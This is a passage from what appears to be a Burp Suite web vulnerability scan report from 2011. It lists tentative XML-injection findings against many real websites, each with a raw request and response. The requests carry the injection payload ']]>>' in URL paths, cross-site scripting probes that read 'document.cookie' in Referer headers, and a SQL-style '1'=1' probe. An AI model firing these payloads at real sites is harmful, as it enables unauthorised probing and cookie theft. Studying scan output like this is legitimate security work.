Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; __utmv=43838368.lang%3A%20en; k=173.193.214.243.1296843754823170

Response

HTTP/1.1 403 Forbidden
Content-Type: application/xml
Date: Sat, 05 Feb 2011 23:07:29 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 231

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>47C1699C37FA3633</RequestId><HostId>hQmIUsy56QucxhMmz0QGDo9yajoPiWb3iuo793axUGB1Lh1PrK
...[SNIP]...

8.73. http://s.ytimg.com/yt/cssbin/www-embed-vflPrzZNL.css [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s.ytimg.com
Path:	/yt/cssbin/www-embed-vflPrzZNL.css

Issue detail

Request

GET /yt/cssbin]]>>/www-embed-vflPrzZNL.css HTTP/1.1
Host: s.ytimg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Cache-Control: public, max-age=31104000
Expires: Sun, 26 Dec 2032 06:12:01 GMT
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:59:08 GMT
Server: lighttpd-yt/1.4.18
Connection: close

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.74. http://s.ytimg.com/yt/cssbin/www-embed-vflPrzZNL.css [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s.ytimg.com
Path:	/yt/cssbin/www-embed-vflPrzZNL.css

Issue detail

Request

GET /yt/cssbin/www-embed-vflPrzZNL.css]]>> HTTP/1.1
Host: s.ytimg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:59:09 GMT
Server: lighttpd-yt/1.4.18
Connection: close

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.75. http://s.ytimg.com/yt/jsbin/www-embed-vfl4nNnFQ.js [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s.ytimg.com
Path:	/yt/jsbin/www-embed-vfl4nNnFQ.js

Issue detail

Request

GET /yt/jsbin]]>>/www-embed-vfl4nNnFQ.js HTTP/1.1
Host: s.ytimg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Cache-Control: public, max-age=31104000
Expires: Sun, 26 Dec 2032 06:12:01 GMT
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:59:11 GMT
Server: lighttpd-yt/1.4.18
Connection: close

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.76. http://s.ytimg.com/yt/jsbin/www-embed-vfl4nNnFQ.js [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s.ytimg.com
Path:	/yt/jsbin/www-embed-vfl4nNnFQ.js

Issue detail

Request

GET /yt/jsbin/www-embed-vfl4nNnFQ.js]]>> HTTP/1.1
Host: s.ytimg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:59:12 GMT
Server: lighttpd-yt/1.4.18
Connection: close

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.77. http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s3.amazonaws.com
Path:	/new.cetrk.com/pages/scripts/0010/9642.js

Issue detail

Request

GET /new.cetrk.com]]>>/pages/scripts/0010/9642.js HTTP/1.1
Host: s3.amazonaws.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
x-amz-request-id: ADBA3FAC6761FDCC
x-amz-id-2: kz7PrxEOVMDrf+Fx2O/bG6CfCR5xuAW2LJRbUvlCUAtAdhhKuIeiTi/ZIXHBfsKx
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:59:46 GMT
Server: AmazonS3
Content-Length: 301

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>new.cetrk.com]]>></BucketName><RequestId>ADBA3FAC6761FDCC
...[SNIP]...

8.78. http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s3.amazonaws.com
Path:	/new.cetrk.com/pages/scripts/0010/9642.js

Issue detail

Request

GET /new.cetrk.com/pages]]>>/scripts/0010/9642.js HTTP/1.1
Host: s3.amazonaws.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 88C5517695FC9144
x-amz-id-2: R1Z8Qu39kOnBCG9iEt84VuJe53gum9CKvwhT29zUwdYqrD6nb+FE3Sve6RzTRGPx
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:59:47 GMT
Server: AmazonS3
Content-Length: 231

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>88C5517695FC9144</RequestId><HostId>R1Z8Qu39kOnBCG9iEt84VuJe53gum9CKvwhT29zUwdYqrD6nb+
...[SNIP]...

8.79. http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s3.amazonaws.com
Path:	/new.cetrk.com/pages/scripts/0010/9642.js

Issue detail

Request

GET /new.cetrk.com/pages/scripts]]>>/0010/9642.js HTTP/1.1
Host: s3.amazonaws.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 7FB434D08E5E9F8E
x-amz-id-2: oQ/4rLHiRTnKvMFCSNl/A+TLxXNf1FYyYkAQW5sw68k/Y/kgNFWozD7TMhdEFnfS
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:59:47 GMT
Server: AmazonS3
Content-Length: 231

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>7FB434D08E5E9F8E</RequestId><HostId>oQ/4rLHiRTnKvMFCSNl/A+TLxXNf1FYyYkAQW5sw68k/Y/kgNF
...[SNIP]...

8.80. http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js [REST URL parameter 4] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s3.amazonaws.com
Path:	/new.cetrk.com/pages/scripts/0010/9642.js

Issue detail

Request

GET /new.cetrk.com/pages/scripts/0010]]>>/9642.js HTTP/1.1
Host: s3.amazonaws.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 0377A2FA51181BBB
x-amz-id-2: KyhACsuYAu4M4vU+0B1kC+QhajrW/oEZnrHywxQHroo794xofoJB1r6jhAhhC5bK
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:59:49 GMT
Server: AmazonS3
Content-Length: 231

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>0377A2FA51181BBB</RequestId><HostId>KyhACsuYAu4M4vU+0B1kC+QhajrW/oEZnrHywxQHroo794xofo
...[SNIP]...

8.81. http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js [REST URL parameter 5] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s3.amazonaws.com
Path:	/new.cetrk.com/pages/scripts/0010/9642.js

Issue detail

Request

GET /new.cetrk.com/pages/scripts/0010/9642.js]]>> HTTP/1.1
Host: s3.amazonaws.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 098C9C7896F5D04F
x-amz-id-2: L19eyNkbA38pozUmEx+PRCu13KRO9/B/+XcZBV+Fr7yrl3CVXWPzDRFIaW+uabRu
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:59:49 GMT
Server: AmazonS3
Content-Length: 231

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>098C9C7896F5D04F</RequestId><HostId>L19eyNkbA38pozUmEx+PRCu13KRO9/B/+XcZBV+Fr7yrl3CVXW
...[SNIP]...

8.82. http://splunkbase.splunk.com/apps/All/4.x/ [sort parameter] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://splunkbase.splunk.com
Path:	/apps/All/4.x/

Issue detail

The sort parameter appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the sort parameter. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /apps/All/4.x/?sort=downloads]]>> HTTP/1.1
Host: splunkbase.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; ssoj=1; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=962720tkf55lv04kpjb1vmi5u6; sso=173.193.214.243.1296942930878168; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmb=204527314.1.10.1296942566;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:00:12 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 52168

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web4
...[SNIP]...
<p>Sideview Utils provides new utilities and modules that make it radically easier to develop and maintain custom user interfaces using Splunk's Advanced XML...</p>
...[SNIP]...

8.83. http://tools.ietf.org/html/rfc2234] [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://tools.ietf.org
Path:	/html/rfc2234]

Issue detail

Request

GET /html]]>>/rfc2234] HTTP/1.1
Host: tools.ietf.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:42:48 GMT
Server: Apache/2.2.16 (Debian)
Vary: accept-language,accept-charset,Accept-Encoding
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Content-Length: 29631

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="
...[SNIP]...
<a href="http://xml.resource.org">
...[SNIP]...

8.84. http://tools.ietf.org/html/rfc3492 [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://tools.ietf.org
Path:	/html/rfc3492

Issue detail

Request

GET /html]]>>/rfc3492 HTTP/1.1
Host: tools.ietf.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:42:41 GMT
Server: Apache/2.2.16 (Debian)
Vary: accept-language,accept-charset,Accept-Encoding
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Content-Length: 29631

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="
...[SNIP]...
<a href="http://xml.resource.org">
...[SNIP]...

8.85. http://tools.ietf.org/html/rfc3986 [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://tools.ietf.org
Path:	/html/rfc3986

Issue detail

Request

GET /html]]>>/rfc3986 HTTP/1.1
Host: tools.ietf.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:42:55 GMT
Server: Apache/2.2.16 (Debian)
Vary: accept-language,accept-charset,Accept-Encoding
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Content-Length: 29631

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="
...[SNIP]...
<a href="http://xml.resource.org">
...[SNIP]...

8.86. http://www.linuxsecurity.com/ads/adjs.php [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://www.linuxsecurity.com
Path:	/ads/adjs.php

Issue detail

Request

GET /ads]]>>/adjs.php?n=424430122&what=zone:4&exclude=,&referer=http%3A//burp/show/23 HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:51 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=7e85674f8fd80aa9ab8e5ac878ed7902; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:39:52 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 61909

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...

8.87. http://www.linuxsecurity.com/ads/adjs.php [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://www.linuxsecurity.com
Path:	/ads/adjs.php

Issue detail

Request

GET /ads/adjs.php]]>>?n=424430122&what=zone:4&exclude=,&referer=http%3A//burp/show/23 HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:59 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=69e1d211a64af39c12f93f9bf5147a71; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:40:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 61909

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...

8.88. http://www.linuxsecurity.com/ads/adlog.php [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://www.linuxsecurity.com
Path:	/ads/adlog.php

Issue detail

Request

GET /ads]]>>/adlog.php?bannerid=75&clientid=52&zoneid=4&source=&block=0&capping=0&cb=d44f13e3bc6b9e50f3529e3826e3166b HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:41:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=a6b86c9f3adf5fddfd8e0ed9d0d3548d; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:41:18 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 61909

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...

8.89. http://www.linuxsecurity.com/ads/adlog.php [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://www.linuxsecurity.com
Path:	/ads/adlog.php

Issue detail

Request

GET /ads/adlog.php]]>>?bannerid=75&clientid=52&zoneid=4&source=&block=0&capping=0&cb=d44f13e3bc6b9e50f3529e3826e3166b HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:41:25 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=e19ddc3d9e58c3a681ca10ae294a106c; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:41:26 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 61909

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...

8.90. http://www.nmworkwear.de/index.php [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://www.nmworkwear.de
Path:	/index.php

Issue detail

Request

GET /index.php]]>> HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:37:10 GMT
Server: Apache/2.2
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
X-Pad: avoid browser bug
Content-Length: 1018

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" l
...[SNIP]...

8.91. http://www.peppernews.eu/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://www.peppernews.eu
Path:	/favicon.ico

Issue detail

Request

GET /favicon.ico]]>> HTTP/1.1
Host: www.peppernews.eu
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=47btvqa55udv0p4ltkl1kicifnu5suf1

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 17:52:59 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Content-Length: 1038

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" l
...[SNIP]...

8.92. http://www.traffictrack.de/tracking/mpr.php [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://www.traffictrack.de
Path:	/tracking/mpr.php

Issue detail

Request

GET /tracking]]>>/mpr.php?kunde=nokia&nwid=zx&keyword=bannerID&ctn=mg&zanpid=13849089C1902184109S14786739T1469378460744041488 HTTP/1.1
Host: www.traffictrack.de
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzEzODQ5MDg5QzE5MDIxODQxMDlTMTQ3ODY3MzlUJnpwYXIwPTY3N18xXzcyOHg5MF8zNjBfcHZjX2FkNG1hdGRlZGF1bHQ=
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 17:42:12 GMT
Server: Apache/2.2.8 (Linux/SUSE)
Vary: accept-language,accept-charset
Accept-Ranges: bytes
P3P: policyref="http://www.traffictrack.de/w3c/p3p.xml", CP="ALL DSP COR NID"
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Content-Length: 1604

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" l
...[SNIP]...

8.93. http://www.traffictrack.de/tracking/mpr.php [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://www.traffictrack.de
Path:	/tracking/mpr.php

Issue detail

Request

GET /tracking/mpr.php]]>>?kunde=nokia&nwid=zx&keyword=bannerID&ctn=mg&zanpid=13849089C1902184109S14786739T1469378460744041488 HTTP/1.1
Host: www.traffictrack.de
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzEzODQ5MDg5QzE5MDIxODQxMDlTMTQ3ODY3MzlUJnpwYXIwPTY3N18xXzcyOHg5MF8zNjBfcHZjX2FkNG1hdGRlZGF1bHQ=
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
